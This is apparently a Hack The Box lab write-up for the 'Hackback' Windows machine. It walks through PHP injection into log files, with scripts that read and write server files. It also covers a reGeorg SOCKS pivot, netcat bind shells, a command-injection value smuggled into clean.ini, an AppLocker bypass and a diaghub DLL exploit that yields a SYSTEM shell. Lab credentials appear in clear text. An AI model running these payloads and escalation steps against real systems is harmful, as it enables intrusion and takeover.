Hackback - Hack The Box
Hackback took me a long time to do. There are so many steps required just to get a shell. For extra difficulty, AppLocker is enabled and an outbound firewall policy is configured to block reverse shells. This box has a bit of everything: fuzzing, php, asp (for pivoting with reGeorg), command injection in a Powershell script, some light reversing. For the privesc, I used the diaghub vulnerability and modified an existing exploit to get a bind shell through netcat.
Summary
- Find gophish website with default credentials
- In gophish templates, find vhosts for fake HTB site and admin portal
- Find hidden administration link from obfuscated JS code on the admin portal
- Wfuzz different parameters on webadmin page
- Determine that the log file name created is the SHA256 checksum of the IP address connecting to the fake HTB website
- Use SHA256 as the session ID in the show action of the webadmin page to view logs
- Injected PHP code in the log file through the fake HTB site login page and gain ability to read/write files on server
- Obtain user
simple
Windows credentials fromweb.config.old
file extracted from the server - Upload reGeorg tunnel.aspx to pivot to the remote machine
- Log in with WinRM through the SOCKS proxy & tunnel using the credentials found in
web.config.old
- Exploit a command injection vulnerability in the
dellog.ps1
script and its associatedclean.ini
file to gain access to userhacker
- Use diaghub exploit to execute arbitrary code and get a bind shell as SYSTEM
Detailed steps
Nmap scan
The box is running a couple of different HTTP services on various ports: 80, 6666, 64831
# nmap -sC -sV -p- 10.10.10.128
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-02 23:21 EST
Nmap scan report for hackback.htb (10.10.10.128)
Host is up (0.0093s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
6666/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Site doesn't have a title.
64831/tcp open ssl/unknown
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 Not Found
| Content-Type: text/plain; charset=utf-8
| Set-Cookie: _gorilla_csrf=MTU1MTU5NzI5M3xJamQwTlV4NE5reExOMkZXTTNGSE1qTjBjbXBQZVVsd2JIcGlkQ3RzV1cxTGVUZ3pVamxyVFUxdmNuYzlJZ289fCcrRBjaMGfHLMRcgH0dlzGlH8Cy6emg2qDuUnM3RFdx; HttpOnly; Secure
| Vary: Accept-Encoding
| Vary: Cookie
| X-Content-Type-Options: nosniff
| Date: Sun, 03 Mar 2019 07:14:53 GMT
| Content-Length: 19
| page not found
| GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Content-Type: text/html; charset=utf-8
| Location: /login?next=%2F
| Set-Cookie: _gorilla_csrf=MTU1MTU5NzI2N3xJbGhVYlVOa2RIbFpOVmw1VFRaMVJ5dHljV3BhU25aVVdtWTBhR2MwYlZsYWJEaG9aR014VDBoNlMwazlJZ289fDWKudYR9rrjWpWCasQcOixRNCRPK5eaVMKphjXIBDPB; HttpOnly; Secure
| Vary: Accept-Encoding
| Vary: Cookie
| Date: Sun, 03 Mar 2019 07:14:27 GMT
| Content-Length: 38
| href="/login?next=%2F">Found</a>.
| HTTPOptions:
| HTTP/1.0 302 Found
| Location: /login?next=%2F
| Set-Cookie: _gorilla_csrf=MTU1MTU5NzI2N3xJbVkxUVdwb1FtRjBjM0ZGWm5BdkwzZHRNbkZVTXl0Qk5VWkZaVFZwVjBoaldUSjVTemQ2VG5sR1dsazlJZ289fMGxoxDhwdZVndica_2TocbOxXZbpClx4Ony-cgy4a9K; HttpOnly; Secure
| Vary: Accept-Encoding
| Vary: Cookie
| Date: Sun, 03 Mar 2019 07:14:27 GMT
|_ Content-Length: 0
| ssl-cert: Subject: organizationName=Gophish
Enumerating port 80
The standard web server on port 80 doesn’t have much except the image of a donkey:
I checked for stego but since this is a 40 pts box from the Donkeys team there’s probably not going to be much stego crap on this one.
Enumerating port 6666
Next I checked out port 6666 and found some custom web application. It errors out expecting commands:
I fuzzed the application with wfuzz and found the /help
URI we can get a list of the available commands:
The commands basically do what they say, they execute some function and provide the output in JSON format:
I checked for command injection but didn’t find any parameters that I could pass to the commands. So I moved on to the next port.
Enumerating port 64831
I can’t use HTTP to connect to port 64381:
The nmap scan already picked up that it was running HTTPS, so I switched to HTTPS and found a Gophish application running. Gophish is an Open-Source phishing framework that makes it easy to launch phishing campaigns by using templates and running an integrated webserver to track the results.
A quick google search shows that the default credentials for Gophish are admin
/ gophish
. I tried those and was able to log in to the Gophish application:
The Gophish database is pretty much empty except there are a few email templates already created:
The templates contain a couple of generic fake emails use for phishing. I noticed two interesting vhosts in the templates.
Based on the info I found I added www.hackthebox.htb
, hackthebox.htb
and admin.hackback.htb
to my local host file.
Fake HTB site
hackthebox.htb
doesn’t seem to be a valid vhost but www.hackthebox.htb
is working and displays the login prompt for the fake HTB site.
The form doesn’t do anything when we enter the credentials, it just loads the same page again. So this is probably not meant to be exploited.
Admin page
The admin.hackback.htb
shows a login prompt for an application that I don’t recognize.
Both Lost your Password?
and Don't have An account?
link return a 404 page.
I tried a couple of username / password combination but didn’t get anywhere. Again, because this is a hard box, I guessed it wasn’t going to be bruteforcable or anything trivial like this.
The HTML comment contains something odd:
There’s a link to javascript directory that’s commented out. I tried fetching the js/.js
file but got a 404 message. Because directory indexing is disabled, I fired up gobuster and scanned /js
for js files.
# gobuster -q -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -x js -u http://admin.hackback.htb/js
/private.js (Status: 200)
That private.js
file contains some obfuscated javascript. I noticed that the ine x=
pattern repeats a couple of times in the source code so I figured it must be using some simple character substitution. I pasted the code in CyberChef and tried ROT13:
I still don’t know what the code actually does so I just copy/pasted it in my browser’s javascript console and examined each variable after the code was run. I checked the variables in the order in which they appear in the source code.
So based on the hidden message, there’s a secret directory /2bb6916122f1da34dcd916421e531578
that should allow us to get access. When I tried to access that directory, I got a 302 redirect instead of a 404 so I knew this was a valid directory.
Next I used gobuster to look for any ASP or PHP page in that directory:
# gobuster -q -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -x php,asp,aspx -u http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578
/. (Status: 200)
/webadmin.php (Status: 302)
If I just browse to /2bb6916122f1da34dcd916421e531578/webadmin.php
I get a 302 back to the main page. I checked out the different parameters found in the js file and noted the following:
-
The
list
action requires thesite
parameter set. -
If we put an invalid
site
parameter we get aWrong target!
error mesasge -
If we put an invalid
password
parameter we get aWrong secret key!
error message -
The
init
action expects asession
parameter but return aWrong identifier!
when we try a random value -
The
exec
action returns aMissing command
error message. I guessed that it’s expecting acommand
orcmd
parameters. Addingcmd
returns aExited x
message when we issue a command, where x = the length of the command sent. I couldn’t figure out if any command was being executed or not. I tried some sleep commands to see if anything was being executed but I always got the message back without any delay. I figured this was probably a troll from the Donkeys team so I moved on.
The next thing I did was fuzz the password
parameter:
# wfuzz -w /usr/share/seclists/Passwords/Leaked-Databases/rockyou-10.txt "http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/WebAdmin.php?action=list&site=hackthebox&password=FUZZ"
==================================================================
ID Response Lines Word Chars Payload
==================================================================
000001: C=302 0 L 3 W 17 Ch "123456"
000002: C=302 0 L 3 W 17 Ch "12345"
000003: C=302 0 L 3 W 17 Ch "123456789"
000004: C=302 0 L 3 W 17 Ch "password"
000005: C=302 0 L 3 W 17 Ch "iloveyou"
000006: C=302 0 L 3 W 17 Ch "princess"
000007: C=302 0 L 3 W 17 Ch "1234567"
000008: C=302 7 L 15 W 197 Ch "12345678"
000009: C=302 0 L 3 W 17 Ch "abc123"
000010: C=302 0 L 3 W 17 Ch "nicole"
The password 12345678
quickly popped out as shown above.
I then tried the GET /2bb6916122f1da34dcd916421e531578/WebAdmin.php?action=list&site=hackthebox&password=12345678
query on the admin page:
Note: I still get a 302 redirect so initially I missed it when I was using the browser to check it. With Burp, it showed up in the response.
The list
command shows the content of a directory that contains some log files. I tried using the show
action to see the content of the log file by specifying the filename in the session
parameter but I always got a Wrong identifier!
error message. I tried various parameters and I got stuck at this point for a long time until I realized that when I try to log in to the fake HTB website found earlier a new log file is created.
The filename is always the same, even after a box reset so there is something unique associated to my own machine. The only thing unique to my session is the IP address from my machine. I checked the SHA256 hash for my IP 10.10.14.23 and I got fe02f7f54552f5f7544d9d8963b4b88f43d2408985c12999752ee5c0e7fc3e79
: a match for the log file name.
I tried the show
action with the session ID for my IP address: /2bb6916122f1da34dcd916421e531578/WebAdmin.php?action=show&site=hackthebox&password=12345678&session=fe02f7f54552f5f7544d9d8963b4b88f43d2408985c12999752ee5c0e7fc3e79
The log file contains the POST parameters that I sent on the fake HTB site. So at this point I was hoping I could get RCE by injecting PHP code into the logs. I tested this theory by sending the following payload in the password field: <?php echo (1+1); ?>
I checked the logs and saw that my PHP was executed:
Adding a bunch of PHP code in the same log file can get pretty messy when testing multiple payloads so I clean up the log file everytime I test different payloads by first calling the init
action to reset the log file.
I tried unsuccessfully to get a reverse shell but realized that all the common functions used for RCE appeared to be blocked. There’s also an outbound firewall configured on the box so we can’t get a connection back.
Listing files and directories wasn’t blocked and I could also read files. I wrote a script that does the following:
- Cleans up the logfile by calling the
init
action - If only one parameter is specified, it’ll use the
scandir
function to list the directory contents - If two parameters are specified, it’ll read the directory + file with the
file_get_contents
function
Warning, bad python code below:
#!/usr/bin/python
import base64
import requests
import sys
# Clean up the log file
r = requests.get("http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/WebAdmin.php?action=init&site=hackthebox&password=12345678&session=fe02f7f54552f5f7544d9d8963b4b88f43d2408985c12999752ee5c0e7fc3e79");
print r.status_code
if len(sys.argv) == 2: # List directories
data = {
"_token": "23I6TdlO18ZPtXYQPeHZyAY4Y8Z9wq1ntgvP8YdA",
"username": "test@test.com",
"password": "<?php print_r(scandir('%s')); ?>" % sys.argv[1],
"submit": ""
}
r = requests.post("http://www.hackthebox.htb", data=data)
print r.status_code
# Get output
r = requests.get("http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/WebAdmin.php?action=show&site=hackthebox&password=12345678&session=fe02f7f54552f5f7544d9d8963b4b88f43d2408985c12999752ee5c0e7fc3e79", allow_redirects=False);
print r.text
elif len(sys.argv) == 3: # Fetch a file
data = {
"_token": "23I6TdlO18ZPtXYQPeHZyAY4Y8Z9wq1ntgvP8YdA",
"username": "test@test.com",
"password": "<?php echo(file_get_contents('%s')); ?>" % (sys.argv[1]+'/'+sys.argv[2]),
"submit": ""
}
r = requests.post("http://www.hackthebox.htb", data=data)
print r.status_code
# Get output
r = requests.get("http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/WebAdmin.php?action=show&site=hackthebox&password=12345678&session=fe02f7f54552f5f7544d9d8963b4b88f43d2408985c12999752ee5c0e7fc3e79", allow_redirects=False);
print r.text
with open("out.txt", "wb") as f:
f.write((r.text.encode('utf-16')))
The output of the script looks like this when enumerating directories:
# ./hackback_read.py ..
200
200
[04 March 2019, 12:49:47 AM] 10.10.14.23 - Username: test@test.com, Password: Array
(
[0] => .
[1] => ..
[2] => 2bb6916122f1da34dcd916421e531578
[3] => App_Data
[4] => aspnet_client
[5] => css
[6] => img
[7] => index.php
[8] => js
[9] => logs
[10] => web.config
[11] => web.config.old
)
# ./hackback_read.py ../..
200
200
[04 March 2019, 12:49:54 AM] 10.10.14.23 - Username: test@test.com, Password: Array
(
[0] => .
[1] => ..
[2] => admin
[3] => facebook
[4] => hackthebox
[5] => paypal
[6] => twitter
)
As we saw above, there’s a web.config
file that can potentially contain sensitive information.
I downloaded it with ./hackback_read.py ../web.config
# ./hackback_read.py ../web.config
200
200
[04 March 2019, 12:51:22 AM] 10.10.14.23 - Username: test@test.com, Password:
root@ragingunicorn:~/htb/hackback# cat web.config
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
[...]](root@ragingunicorn:~/htb/hackback# ./hackback_read.py /inetpub/wwwroot/new_phish/admin web.config
200
200
[04 March 2019, 12:53:51 AM] 10.10.14.23 - Username: test@test.com, Password: <?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<directoryBrowse enabled="false" showFlags="None" />
</system.webServer>
</configuration>)
Nothing interesting in this one but the web.config.old
contains some credentials:
# ./hackback_read.py /inetpub/wwwroot/new_phish/admin web.config.old
200
200
[04 March 2019, 12:54:18 AM] 10.10.14.23 - Username: test@test.com, Password: <?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<authentication mode="Windows">
<identity impersonate="true"
userName="simple"
password="ZonoProprioZomaro:-("/>
</authentication>
<directoryBrowse enabled="false" showFlags="None" />
</system.webServer>
</configuration>
Username: simple
Password: ZonoProprioZomaro:-(
I can’t use these credentials at the moment since there’s no other service exposed but they’ll be useful later on.
Tunneling our way in
I can also write files to the target system using the same PHP code execution trick. I wrote another variant of my previous script that uses the file_put_contents
function to write files to the disk.
#!/usr/bin/python
import base64
import requests
import sys
# Clean up the log file
r = requests.get("http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/WebAdmin.php?action=init&site=hackthebox&password=12345678&session=fb6f90c58d1e2f1a7b86546f3300d6d199ac4c0b5309ada3203b2042b3443a56");
print r.status_code
# Base64 encoded the file we want to write
with open(sys.argv[2]) as f:
payload = base64.b64encode(f.read())
# print payload
data = {
"_token": "23I6TdlO18ZPtXYQPeHZyAY4Y8Z9wq1ntgvP8YdA",
"username": "test@test.com",
"password": "<?php echo(file_put_contents(\"%s\",base64_decode(\"%s\")));echo ' *****'; ?>" % (sys.argv[1],payload),
"submit": ""
}
r = requests.post("http://www.hackthebox.htb", data=data)
print r.status_code
# Call the PHP code to write the file
r = requests.get("http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/WebAdmin.php?action=show&site=hackthebox&password=12345678&session=fb6f90c58d1e2f1a7b86546f3300d6d199ac4c0b5309ada3203b2042b3443a56", allow_redirects=False);
print r.text
I used reGeorg to pivot to the machine. reGeorg has two main components to it: a client-side python script that acts as a local SOCKS proxy and the remote .aspx file running on the target server.
To write the .aspx to the webserver directory I used my script above:
# ./hackback_write.py "/inetpub/wwwroot/new_phish/admin/2bb6916122f1da34dcd916421e531578/tunnel.aspx" tunnel.aspx
200
200
[04 July 2019, 09:55:44 PM] 10.10.14.11 - Username: test@test.com, Password: 4960 *****
Then I started the local component of reGeorg:
# python reGeorgSocksProxy.py -l 127.0.0.1 -p 1080 -u http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/tunnel.aspx
_____
_____ ______ __|___ |__ ______ _____ _____ ______
| | | ___|| ___| || ___|/ \| | | ___|
| \ | ___|| | | || ___|| || \ | | |
|__|\__\|______||______| __||______|\_____/|__|\__\|______|
|_____|
... every office needs a tool like Georg
willem@sensepost.com / @_w_m__
sam@sensepost.com / @trowalts
etienne@sensepost.com / @kamp_staaldraad
[INFO ] Log Level set to [INFO]
[INFO ] Starting socks server [127.0.0.1:1080], tunnel at [http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/tunnel.aspx]
[INFO ] Checking if Georg is ready
[INFO ] Georg says, 'All seems fine'
So now I have a SOCKS proxy listening on port 1080 and tunneling the traffic to the Hackback machine. There are probably some ports listening only on the localhost so I can find out by running nmap through the tunnel. I specify the -sT
flag so nmap does a regular TCP socket with the Connect() method and not the default -sS
SYN method which doesn’t work with proxychains.
# proxychains nmap -sT -p 22,80,135,139,443,445,3389,5985,5986,8080 127.0.0.1
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-05 20:46 EDT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.34s latency).
PORT STATE SERVICE
22/tcp closed ssh
80/tcp open http
135/tcp open msrpc
139/tcp closed netbios-ssn
443/tcp closed https
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
5985/tcp open wsman
5986/tcp closed wsmans
8080/tcp open http-proxy
There’s a few additional ports open like WinRM and RDP. I can’t RDP in because I don’t have the proper privileges:
To connect to WinRM running on port 5985 I used the Alamot’s ruby script. I edited it to put the credentials and the right endpoint.
#!/usr/bin/ruby
require 'winrm'
conn = WinRM::Connection.new(
endpoint: 'http://127.0.0.1:5985/wsman',
user: 'hackback\simple',
password: 'ZonoProprioZomaro:-(',
:no_ssl_peer_verification => true
)
command=""
conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
output = shell.run(command) do |stdout, stderr|
STDOUT.print stdout
STDERR.print stderr
end
end
puts "Exiting with code #{output.exitcode}"
end
I can connect successfully and now have a shell as user simple
:
# proxychains ./winrm-simple.rb
ProxyChains-3.1 (http://proxychains.sf.net)
PS hackback\simple@HACKBACK Documents>
PS hackback\simple@HACKBACK util> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
PS hackback\simple@HACKBACK util> net users simple
User name simple
Full Name simple
[...]
Local Group Memberships *project-managers *Remote Management Use
*Users
No user flag yet though.
Escalating to user hacker
That WinRM shell was very slow so I spawned a bind shell on port 4442 with netcat to speed things up a little bit.
Initially I tried uploading netcat to \programdata
but found out that AppLocker was blocking it so instead I uploaded it to a directory not controlled by AppLocker:./hackback_write.py "/Windows/System32/spool/drivers/color/nc.exe" nc.exe
C:\Windows\System32\spool\drivers\color\nc.exe -e cmd.exe -L -p 4442
[...]
# proxychains nc -nv 127.0.0.1 4442
ProxyChains-3.1 (http://proxychains.sf.net)
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Connected to 127.0.0.1:4442.
Microsoft Windows [Version 10.0.17763.292]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\util>whoami
whoami
hackback\simple
There’s an interesting directory c:\util
that contains a bunch of different tools:
C:\util>dir
dir
Volume in drive C has no label.
Volume Serial Number is 00A3-6B07
Directory of C:\util
07/05/2019 03:11 AM <DIR> .
07/05/2019 03:11 AM <DIR> ..
03/08/2007 01:12 AM 139,264 Fping.exe
03/29/2017 07:46 AM 312,832 kirbikator.exe
12/14/2018 04:42 PM 1,404 ms.hta
12/14/2018 04:30 PM <DIR> PingCastle
02/29/2016 01:04 PM 359,336 PSCP.EXE
02/29/2016 01:04 PM 367,528 PSFTP.EXE
05/04/2018 12:21 PM 23,552 RawCap.exe
7 File(s) 1,204,017 bytes
3 Dir(s) 92,174,512,128 bytes free
There’s also an hidden directory c:\util\scripts
:
C:\util>dir /ah
Volume in drive C has no label.
Volume Serial Number is 00A3-6B07
Directory of C:\util
12/21/2018 07:21 AM <DIR> scripts
0 File(s) 0 bytes
1 Dir(s) 92,174,512,128 bytes free
C:\util\scripts>dir
Volume in drive C has no label.
Volume Serial Number is 00A3-6B07
Directory of C:\util\scripts
12/21/2018 06:44 AM 84 backup.bat
07/05/2019 12:54 AM 402 batch.log
12/13/2018 03:56 PM 93 clean.ini
12/08/2018 10:17 AM 1,232 dellog.ps1
07/05/2019 12:54 AM 35 log.txt
12/13/2018 03:54 PM <DIR> spool
5 File(s) 1,846 bytes
1 Dir(s) 92,184,432,640 bytes free
I guessed that the clean.ini
file is somehow used by the dellog.ps1
script as input parameters:
C:\util\scripts>type clean.ini
type clean.ini
[Main]
LifeTime=100
LogFile=c:\util\scripts\log.txt
Directory=c:\inetpub\logs\logfiles
C:\util\scripts>type dellog.ps1
type dellog.ps1
Access is denied.
I can’t read the dellog.ps1
script but the clean.ini
is writable by user simple
since he’s a member of the project-managers
group:
C:\util\scripts>icacls clean.ini
icacls clean.ini
clean.ini NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
HACKBACK\project-managers:(M)
Successfully processed 1 files; Failed processing 0 files
The LogFile
parameter is vulnerable to command injection. The powershell script that wipes the logs uses that parameter to pipe the output of another command so we can use the &
character to execute arbitrary commands after the log file has been written to.
I uploaded the following batch file that binds a shell on port 4441. The snow.txt
file is just there so I can check if the batch file was run by the scheduler.
echo check > c:\programdata\snow.txt
C:\Windows\System32\spool\drivers\color\nc.exe -e cmd.exe -L -p 4441
# ./hackback_write.py "/programdata/a.bat" a.bat
Then I modified the clean.ini
as follows:
[Main]
LifeTime=9999
LogFile=c:\util\scripts\log.txt & c:\programdata\a.bat
Directory=c:\users\hacker
I couldn’t upload it directly to c:\util\scripts\clean.ini
so I copied it to \programdata
first then copied it over from the command line.
root@ragingunicorn:~/htb/hackback# ./hackback_write.py "/programdata/clean.ini" clean.ini
C:\util\scripts>copy c:\programdata\clean.ini clean.ini
copy c:\programdata\clean.ini clean.ini
Overwrite clean.ini? (Yes/No/All): yes
yes
1 file(s) copied.
After a while the batch file is executed (probably some scheduler job set up) and I can connect to the bind shell:
# proxychains nc -nv 127.0.0.1 4441
ProxyChains-3.1 (http://proxychains.sf.net)
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Connected to 127.0.0.1:4441.
Microsoft Windows [Version 10.0.17763.292]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
hackback\hacker
C:\Windows\system32>cd \users\hacker\desktop
cd \users\hacker\desktop
C:\Users\hacker\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 00A3-6B07
Directory of C:\Users\hacker\Desktop
02/09/2019 03:34 PM <DIR> .
02/09/2019 03:34 PM <DIR> ..
02/09/2019 03:34 PM 32 user.txt
1 File(s) 32 bytes
2 Dir(s) 92,183,654,400 bytes free
C:\Users\hacker\Desktop>type user.txt
type user.txt
92244...
Privesc
There’s a suspicious service that user hacker
can stop & start:
C:\Windows\system32>sc query userlogger
SERVICE_NAME: userlogger
TYPE : 10 WIN32_OWN_PROCESS
STATE : 1 STOPPED
WIN32_EXIT_CODE : 1077 (0x435)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\userlogger
Type REG_DWORD 0x10
Start REG_DWORD 0x3
ErrorControl REG_DWORD 0x1
ImagePath REG_EXPAND_SZ c:\windows\system32\UserLogger.exe
ObjectName REG_SZ LocalSystem
DisplayName REG_SZ User Logger
Description REG_SZ This service is responsible for logging user activity
I downloaded the file UserLogger.exe
to figure out what the service does. When I opened it in IDA I found out it as UPX packed:
After unpacking it with upx -d userlogger.exe
I was able to open it and see the functions in IDA. I found the function I was looking for. It seems to create a file based on a supplied argument and it also appends .log
as the extension.
When I started the service with sc start userlogger c:\windows\system\yolo
it created the c:\windows\system32\yolo.log
file:
C:\Projects>dir c:\windows\system32\yolo.log
Volume in drive C has no label.
Volume Serial Number is 00A3-6B07
Directory of c:\windows\system32
07/05/2019 03:25 AM 58 yolo.log
1 File(s) 58 bytes
0 Dir(s) 92,148,129,792 bytes free
C:\Projects>type c:\windows\system32\yolo.log
Logfile specified!
Service is starting
Service is running
I have full privileges to that file:
C:\Projects>icacls c:\windows\system32\yolo.log
c:\windows\system32\yolo.log Everyone:(F)
Successfully processed 1 files; Failed processing 0 files
So that means I can replace it with an arbitrary DLL and load it using the Diagnostics Hub Standard Collector Service privilege escalation exploit.
I modified the exploit from https://github.com/realoriginal/alpc-diaghub
I created a simple DLL that executes netcat to spawn another bind shell on port 4300:
I then uploaded both files to their respective directories. The .exe needs to be in /Windows/System32/spool/drivers/color
so I can avoid AppLocker.
# ./hackback_write.py "/Windows/System32/spool/drivers/color/ALPC-TaskSched-LPE.exe" ALPC-TaskSched-LPE.exe
# ./hackback_write.py "/Windows/System32/yolo.log" PwnDll.dll
Executing the exploit…
C:\Windows\System32\spool\drivers\color>ALPC-TaskSched-LPE.exe
ALPC-TaskSched-LPE.exe
[+] Loading DLL
Creating directory: C:\Windows\System32\spool\drivers\color\..\..\..\..\..\programdata\etw
[+] If everything has gone well, you should have a SYSTEM shell!
And now I have a bind shell as SYSTEM:
# proxychains nc -nv 127.0.0.1 4300
ProxyChains-3.1 (http://proxychains.sf.net)
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Connected to 127.0.0.1:4300.
Microsoft Windows [Version 10.0.17763.292]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
It looks like the Donkeys have one final troll, the root.txt
is hidden and doesn’t contain the flag:
C:\Users\Administrator\Desktop>dir /ah
dir /ah
Volume in drive C has no label.
Volume Serial Number is 00A3-6B07
Directory of C:\Users\Administrator\Desktop
02/06/2019 11:20 AM 282 desktop.ini
02/09/2019 03:37 PM 1,958 root.txt
2 File(s) 2,240 bytes
0 Dir(s) 92,184,543,232 bytes free
C:\Users\Administrator\Desktop>type root.txt
type root.txt
__...----..
.-' `-.
/ .---.._ \
| | \ \ |
`. | | | | _____
` ' | | / _.-` `.
\ | .'| //'''.' \
`---'_(`.||.`.`.' _.`.'''-. \
_(`'. `.`.`'.-' \\ \ \
(' .' `-._.- / \\ \ |
('./ `-._ .-| \\ ||
('.\ | | 0') ('0 __.--. \`----'/
_.--('..| `-- .' .-. `. `--..'
_..--..._ _.-' ('.:| . / ` 0 ` \
.' .-' `..' | / .^. |
/ .' \ ' . `._
.'| `. \`...____.----._.'
.'.'| . \ | |_||_||__|
// \ | _.-'| |_ `. \
|| | | /\ \_| _ _ |
|| | /. . ' `.`.| || ||
|| / ' ' | . | `.`---'/
.' `. | .' .'`. \ .' / `...'
.' \ \ .'.' `---\ '.-' |
)/\ / /)/ .| \ `. `.\ \
)/ \( / \ | \ | `. `-.
)/ ) | | __ \ \.-` \
| /| ) .-. //' `-| \ _ /
/ _| | `-'.-.\ || `. )_.--'
) \ '-. / '| ''.__.-`\ |
/ `-\ '._|--' \ `.
\ _\ / `---.
/.--` \ \ .''''\
`._..._| `-.' .-. |
'_.'-./.'
An easy way to “hide” data in CTF challenges on NTFS file systems is to use alternate data streams. Using powershell, I was able to determine that a flag.txt
stream is present.
PS C:\Users\Administrator\Desktop> get-item -force -path root.txt -stream *
PSPath : Microsoft.PowerShell.Core\FileSystem::C:\Users\Administrator\Desktop\root.txt::$DATA
PSParentPath : Microsoft.PowerShell.Core\FileSystem::C:\Users\Administrator\Desktop
PSChildName : root.txt::$DATA
PSDrive : C
PSProvider : Microsoft.PowerShell.Core\FileSystem
PSIsContainer : False
FileName : C:\Users\Administrator\Desktop\root.txt
Stream : :$DATA
Length : 1958
PSPath : Microsoft.PowerShell.Core\FileSystem::C:\Users\Administrator\Desktop\root.txt:flag.txt
PSParentPath : Microsoft.PowerShell.Core\FileSystem::C:\Users\Administrator\Desktop
PSChildName : root.txt:flag.txt
PSDrive : C
PSProvider : Microsoft.PowerShell.Core\FileSystem
PSIsContainer : False
FileName : C:\Users\Administrator\Desktop\root.txt
Stream : flag.txt
Length : 35
PS C:\Users\Administrator\Desktop> get-content -force -path root.txt -stream flag.txt
6d29b0...
Game over, finally!